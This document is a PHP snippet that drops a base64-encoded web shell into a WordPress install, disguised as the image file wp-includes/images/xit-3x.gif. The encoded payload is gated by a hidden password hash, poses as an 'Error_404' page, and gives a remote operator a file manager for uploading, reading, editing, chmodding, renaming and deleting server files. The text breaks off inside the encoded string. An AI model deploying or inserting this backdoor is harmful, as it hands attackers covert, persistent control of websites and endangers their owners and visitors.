$jue_jiang_404_path = $do."wp-includes/images/xit-3x.gif"; if (!file_exists($jue_jiang_404_path)){ $jue_jiang_404 = "PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoJ1BSQycpOw0KDQokQVJSQVkgPSAkeydfR0VUJ31bJ0FSUkFZJ107DQokS0pNbiA9IHN0cl9yb3QxMygkQVJSQVkpOw0KJGNiSCA9IHBhY2soIlx4NDhceDJhIiwgJEtKTW4pOw0KJEV6YVUgPSBqc29uX2RlY29kZSgkY2JILCB0cnVlKTsNCmlmICgoJEV6YVVbMF0gLSB0aW1lKCkpID4gMCBhbmQgbWQ1KG1kNSgkRXphVVsyXSkpID09PSAiOWYzNDY2NWIwMDUyMzExZDViNmFkNmY4MjFkYzYyMjgiKSA6IC8vID09PT0NCi8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KDQogICAgZnVuY3Rpb24ganVlamlhbmdfcGVybXMoJGZpbGUpew0KICAgICAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOw0KICAgICAgICBpZiAoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKSB7Ly8gU29ja2V0DQogICAgICAgICAgICAkaW5mbyA9ICdzJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgey8vIFN5bWJvbGljIExpbmsNCiAgICAgICAgICAgICRpbmZvID0gJ2wnOw0KICAgICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7Ly8gUmVndWxhcg0KICAgICAgICAgICAgJGluZm8gPSAnLSc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApIHsvLyBCbG9jayBzcGVjaWFsDQogICAgICAgICAgICAkaW5mbyA9ICdiJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgey8vIERpcmVjdG9yeQ0KICAgICAgICAgICAgJGluZm8gPSAnZCc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgyMDAwKSA9PSAweDIwMDApIHsvLyBDaGFyYWN0ZXIgc3BlY2lhbA0KICAgICAgICAgICAgJGluZm8gPSAnYyc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgxMDAwKSA9PSAweDEwMDApIHsvLyBGSUZPIHBpcGUNCiAgICAgICAgICAgICRpbmZvID0gJ3AnOw0KICAgICAgICB9IGVsc2Ugey8vIFVua25vd24NCiAgICAgICAgICAgICRpbmZvID0gJ3UnOw0KICAgICAgICB9DQovLyBPd25lcg0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPw0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOg0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQoNCi8vIEdyb3VwDQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA4KSA/DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsNCg0KLy8gV29ybGQNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8NCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoNCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOw0KDQogICAgICAgIHJldHVybiAkaW5mbzsNCiAgICB9DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KLyoqDQogKiDovazljJYgXCDkuLogLw0KICovDQpmdW5jdGlvbiBkaXJfcGF0aCgkcGF0aCkNCnsNCiAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOw0KICAgIGlmIChzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpICRwYXRoID0gJHBhdGggLiAnLyc7DQogICAgcmV0dXJuICRwYXRoOw0KfQ0KDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KLyoqIOWPluW+l+ermeeCueagueebruW9lQ0KICogQHJldHVybiBhcnJheXxzdHJpbmd8c3RyaW5nW10NCiAqLw0KZnVuY3Rpb24gZG9jdW1lbnRfcm9vdCgpew0KDQogICAgJHBocF9zZWxmID0gZGlyX3BhdGgoJF9TRVJWRVJbIlBIUF9TRUxGIl0pOw0KICAgICRzY3JpcHRfZmlsZW5hbWUgPSBkaXJfcGF0aCgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pOw0KICAgIGlmIChlbXB0eSgkX1NFUlZFUlsiUEhQX1NFTEYiXSkgb3IgZW1wdHkoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKSl7DQogICAgICAgICRkbzEgPSBkaXJfcGF0aCgkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdKTsNCiAgICAgICAgJGRvID0gcnRyaW0oJGRvMSwnLycpOw0KICAgIH1lbHNlew0KICAgICAgICAkZG8gPSBzdHJfcmVwbGFjZShzdHJfcmVwbGFjZSgiLy8iLCAiLyIsICRwaHBfc2VsZiksICIiLCBzdHJfcmVwbGFjZSgiXFxcXCIsICIvIiwgJHNjcmlwdF9maWxlbmFtZSkpOw0KICAgIH0NCiAgICByZXR1cm4gJGRvOw0KfQ0KJGRvY3VtZW50X3Jvb3QgPSBkb2N1bWVudF9yb290KCk7DQpkZWZpbmUoJ0RPQ1VNRU5UX1JPT1QnLCAkZG9jdW1lbnRfcm9vdCk7DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQoNCg0KaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSl7DQogICAgZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsNCiAgICAgICAgJF9QT1NUWyRrZXldID0gc3RyaXBzbGFzaGVzKCR2YWx1ZSk7DQogICAgfQ0KfQ0KDQokVmVyc2lvbiA9IGJhc2U2NF9kZWNvZGUoJzVweUE1WkNPNTVxRTVZQ1U1Ynk2Jyk7DQppZihpc3NldCgkX0dFVFsncGF0aCddKSl7DQogICAgJHBhdGggPSAkX0dFVFsncGF0aCddOw0KfWVsc2V7DQogICAgJHBhdGggPSBnZXRjd2QoKTsNCn0NCg0KDQplY2hvICc8IWRvY3R5cGUgaHRtbD4NCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+JkVycm9yXzQwNCY8L3RpdGxlPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiLz4NCjwvaGVhZD4nOw0KPz4NCg0KICAgIDxjZW50ZXI+DQogICAgICAgIDxzdHlsZT4NCiAgICAgICAgICAgIGJvZHl7YmFja2dyb3VuZDojZTZlNmU2O2xpbmUtaGVpZ2h0OjE7Y29sb3I6IzAwMDtmb250LWZhbWlseTpDb21pYyBTYW5zIE1TO3dpZHRoOjYwJTttYXJnaW46MCBhdXRvO30NCiAgICAgICAgICAgIHRhYmxlLHRoLHRke2JvcmRlci1jb2xsYXBzZTpjb2xsYXBzZTtiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2ZvbnQtc2l6ZToxM3B4O30NCiAgICAgICAgICAgIGlucHV0LHRleHRhcmVhe30NCiAgICAgICAgICAgIC50YWJsZV9ob21lLC50aF9ob21lLC50ZF9ob21le2NvbG9yOmdyZXk7Ym9yZGVyOjFweCBzb2xpZCBncmV5O30NCiAgICAgICAgICAgIHRoe3BhZGRpbmc6MTBweDt9DQogICAgICAgICAgICAudGRfaG9tZXtwYWRkaW5nOjdweDt9DQogICAgICAgICAgICBhe2NvbG9yOiMwMDA7IHRleHQtZGVjb3JhdGlvbjpub25lO30NCiAgICAgICAgICAgIHRleHRhcmVhe3dpZHRoOjEwMCU7aGVpZ2h0OjQwMHB4O30NCiAgICAgICAgICAgICNjb250ZW50IHRyOmhvdmVye2JhY2tncm91bmQtY29sb3I6I2NlY2VjZTt0ZXh0LXNoYWRvdzowcHggMHB4IDEwcHggI2ZmZjtjb2xvcjojZmZmO30NCiAgICAgICAgICAgIC5kaCBheyBwYWRkaW5nLWxlZnQ6IDEwcHg7IHBhZGRpbmctcmlnaHQ6IDEwcHg7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkICMwMDA7fQ0KICAgICAgICAgICAgLmRoIGE6aG92ZXJ7IGNvbG9yOiAjZjAwO30NCiAgICAgICAgPC9zdHlsZT4NCjw/cGhwDQplY2hvICc8L2hlYWQ+DQo8Ym9keT48Yj4NCjxIMT48Y2VudGVyPjxmb250IGNvbG9yPSJyZWQiPicuJFZlcnNpb24uJzwvZm9udD48L2NlbnRlcj48L2gxPg0KPHRhYmxlIHdpZHRoPSI3MDAiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCg0KPHRyPjx0ZD4NCg0KPGZvbnQgPjxjZW50ZXI+Jy5waHBfdW5hbWUoKS4nPC9jZW50ZXI+PC9mb250Pjxicj4nOw0KaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpew0KICAgICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsNCn1lbHNlew0KICAgICRwYXRoID0gZ2V0Y3dkKCk7DQp9DQokcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsNCiRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsNCg0KJGdlbl9saW5rX3VybCA9ICc8YSBzdHlsZT0iY29sb3I6IzAwNjZGRiIgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLkRPQ1VNRU5UX1JPT1Q7DQokZ2VuX2xpbmtfdXJsIC49ICciPuagueebruW9lSDvvJogICAgPC9hPiZuYnNwOyc7DQplY2hvICRnZW5fbGlua191cmw7DQoNCmZvcmVhY2goJHBhdGhzIGFzICRpZD0+JHBhdCl7DQogICAgaWYoJHBhdCA9PSAnJyAmJiAkaWQgPT0gMCl7DQogICAgICAgICRhID0gdHJ1ZTsNCiAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9IzAwMD4NCjxhIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9LyI+LzwvYT4nOw0KICAgICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYoJHBhdCA9PSAnJykgY29udGludWU7DQogICAgZWNobyAnPGEgc3R5bGU9ImNvbG9yOiMwMDY2RkYiIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9JzsNCiAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspew0KICAgICAgICBlY2hvICIkcGF0aHNbJGldIjsNCiAgICAgICAgaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsNCiAgICB9DQogICAgZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsNCn0NCmVjaG8gJzwvZm9udD4NCjxicj48YnI+DQo8L3RkPjwvdHI+PHRyPjx0ZD48Y2VudGVyPic7DQoNCmlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpew0KICAgIGlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuS4iuS8oOaIkOWKnyA6KTwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgIH1lbHNlew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7kuIrkvKDlpLHotKUgPC9mb250PjxiciAvPjxiciAvPic7DQogICAgfQ0KfQ0KZWNobyAnPC9jZW50ZXI+PGNlbnRlcj48Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxmb250IGNvbG9yPSJ3aGl0ZSI+PGlucHV0IHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2ZvbnQtZmFtaWx5OiBDb21pYyBTYW5zIE1TICIgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLkuIrkvKAiIC8+DQo8L2Zvcm0+PC9jZW50ZXI+DQo8L3RkPjwvdHI+JzsNCmlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsNCiAgICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+5b2T5YmN5paH5Lu2IDogIjsNCiAgICBlY2hvICRfR0VUWydmaWxlc3JjJ107DQogICAgZWNobyAnPC9jZW50ZXI+PC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsNCiAgICBlY2hvKCcgPHRleHRhcmVhIHN0eWxlPSJ3aWR0aDogMTAwJTtoZWlnaHQ6IDQwMHB4OyIgcmVhZG9ubHk+ICcuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZXNyYyddKSkuJzwvdGV4dGFyZWE+Jyk7DQp9DQovL0VtcGV0eQ0KZWxzZWlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9HRVRbJ29wdCddICE9ICdkZWxldGUnKXsNCi8vIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nLiRfUE9TVFsncGF0aCddLic8YnIgLz48YnIgLz4nOw0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9DaG1vZA0KICAgIGlmKCRfR0VUWydvcHQnXSA9PSAnY2htb2QnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsNCiAgICAgICAgICAgICRuZXdfcGVybV9vID0gJF9QT1NUWydwZXJtJ107DQoNCiAgICAgICAgICAgIGlmKHN0cmxlbigkbmV3X3Blcm1fbyk8PTMpICRuZXdfcGVybV9vPXN0cl9wYWQoJG5ld19wZXJtX28sMywnNicsU1RSX1BBRF9MRUZUKTsNCiAgICAgICAgICAgICRuZXdfcGVybV9vPWludHZhbChzdHJfcGFkKCRuZXdfcGVybV9vLDQsJzAnLFNUUl9QQURfTEVGVCksOCk7DQoNCiAgICAgICAgICAgIGlmKGNobW9kKCRfUE9TVFsncGF0aCddLCRuZXdfcGVybV9vKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mm7TmlLnmnYPpmZDmiJDlip/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mm7TmlLnmnYPpmZDplJnor6/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+PGJyPg0K5b2T5YmN5paH5Lu2IDogJy4kcGF0Yy4nPGJyPjxicj7mnYPpmZAtLS0tJy5zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJHBhdGMpLDEwLDgpLC00KS4nPGJyPjxicj4NCuiuvue9ruaWsOadg+mZkCA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHBhdGMpKSwgLTQpLiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImNobW9kIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+DQo8L2Zvcm0+DQo8YnI+DQo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5Y+N5ZueIj7lj43lm548L2E+DQonOw0KDQogICAgfQ0KLy8NCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdidHcnKXsNCiAgICAgICAgJGN3ZCA9ICRfR0VUWydwYXRoJ107DQoNCiAgICAgICAgZWNobyAnPGZvcm0gYWN0aW9uPSI/QVJSQVk9Jy4kQVJSQVkuJyZvcHRpb24mcGF0aD0nLiRjd2QuJyZvcHQ9ZGVsZXRlJnR5cGU9YnVhdCIgbWV0aG9kPSJQT1NUIj4NCuaWsOebruW9leWQjSA6IDxpbnB1dCBuYW1lPSJuYW1lIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IkZvbGRlciIgLz4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRjd2QuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJkZWxldGUiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgLz4NCjwvZm9ybT4nOw0KICAgIH0NCi8vUmVuYW1lIGZpbGUNCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdyZW5hbWUnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgIGlmKHJlbmFtZSgkX1BPU1RbJ3BhdGgnXSwkcGF0aC4nLycuJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPumHjeWRveWQjeaIkOWKnyEgOik8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPumHjeWRveWQjeWksei0pSEgOiggPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkX1BPU1RbJ25hbWUnXSA9ICRfUE9TVFsnbmV3bmFtZSddOw0KICAgICAgICB9DQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSAkX1BPU1RbJ25ld25hbWUnXTsNCg0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0K5paw5ZCN56ewIDogPGlucHV0IG5hbWU9Im5ld25hbWUiIHR5cGU9InRleHQiIHNpemU9IjIwIiB2YWx1ZT0iJy4kbmV3LiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9InJlbmFtZSI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAvPjxicj48YnI+DQo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5Y+N5ZueIiBvbkNsaWNrPSJqYXZhc2NyaXB0OmxvY2F0aW9uLmhyZWY9XCc/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJ1wnIj4NCjwvZm9ybT4nOw0KICAgIH0NCi8vRmlsZSBiYXJ1DQogICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnYmFydScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSBlbXB0eSgkX1BPU1RbJ25ld25hbWUnXSk/JF9QT1NUWyduZ2FyYW4xJ106JF9QT1NUWyduZXduYW1lJ107DQogICAgICAgICRhenogPSAkX1BPU1RbJ3BhdGgnXTsNCiAgICAgICAgJG5ld3ogPSAkYXp6LiIvIi4kbmV3Ow0KICAgICAgICAkbmV3X2ZpZWwgPSAkaGVsbC4nLycuJF9QT1NUWyduZ2FyYW4xJ107DQogICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ25nYXJhbjEnXSkpIGVjaG8gIuato+WcqOaWsOW7uuaWh+S7tu+8mnskbmV3X2ZpZWx9PGJyPjxicj4iOw0KICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAkZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOw0KICAgICAgICAgICAgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlrDlu7rmlofku7bmiJDlip8gWyAnLiRhenouJyBdPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlrDlu7rmlofku7blpLHotKUgPjooPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+IOaWsOaWh+S7tuWQjSA6IDxpbnB1dCBuYW1lPSJuZ2FyYW4xIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IicuJG5ldy4nIiAvPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9Im5nYXJhbiIgLz48L2Zvcm0+PGJyPiAnOw0KDQogICAgICAgICRobyA9ICRfUE9TVFsnbmdhcmFuMSddOw0KDQogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnbmdhcmFuJ10pKXsNCiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+DQo8dGV4dGFyZWEgY29scz04MCByb3dzPTIwIG5hbWU9InNyYyI+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRjKSkuJzwvdGV4dGFyZWE+PGJyIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kaGVsbC4nLycuJGhvLiciPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0iZWRpdCI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjwvZm9ybT4nOw0KICAgICAgICB9DQogICAgfQ0KLy9FZGl0ZWQgZmlsZQ0KICAgIGVsc2VpZigkX0dFVFsnb3B0J10gPT0gJ2VkaXQnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgJGZwID0gZm9wZW4oJF9QT1NUWydwYXRoJ10sJ3cnKTsNCiAgICAgICAgICAgIGlmKGZ3cml0ZSgkZnAsJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+57yW6L6R5oiQ5Yqf77yBIDwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+57yW6L6R5aSx6LSl77yBPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KPHRleHRhcmVhIGNvbHM9ODAgcm93cz0yMCBuYW1lPSJzcmMiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkcGF0YykpLic8L3RleHRhcmVhPjxiciAvPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGMuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij48YnI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjxicj4NCjxicj4NCjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLlj43lm54iIG9uQ2xpY2s9ImphdmFzY3JpcHQ6bG9jYXRpb24uaHJlZj1cJz9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kaGVsbC4nXCciPg0KDQo8L2Zvcm0+JzsNCiAgICB9DQogICAgZWNobyAnPC9jZW50ZXI+JzsNCn1lbHNlew0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9EZWxldGUgZGlyIGFuZCBmaWxlDQogICAgaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX0dFVFsnb3B0J10gPT0gJ2RlbGV0ZScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCi8vRGVsZXRlIGRpcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdkaXInKXsNCg0KICAgICAgICAgICAgaWYocm1kaXIoJHBhdGMpKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuWIoOmZpOaIkOWKn++8gTwvZm9udD48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCMiPuWIoOmZpOWksei0pSE+Oig8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9idWF0IGZvbGRlcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdidWF0Jyl7DQogICAgICAgICAgICAkaGFhYSA9ICRfUE9TVFsncGF0aCddOw0KICAgICAgICAgICAgJGhlZWUgPSAkX1BPU1RbJ25hbWUnXTsNCiAgICAgICAgICAgICRob29vID0gIiRoYWFhLyRoZWVlIjsNCiAgICAgICAgICAgICRuZXcgPSAkaGFhYS4nLycuaHRtbHNwZWNpYWxjaGFycygkaGVlZSk7DQogICAgICAgICAgICBpZighbWtkaXIoJG5ldykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWsOW7uuebruW9leWksei0pSE8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paw5bu655uu5b2V5oiQ5YqfISA+Oik8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9EZWxldGUgZmlsZQ0KICAgICAgICBlbHNlaWYoJF9HRVRbJ3R5cGUnXSA9PSAnZmlsZScpew0KDQogICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107DQogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCiAgICAgICAgICAgIGlmKHVubGluaygkcGF0Yykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paH5Lu25Y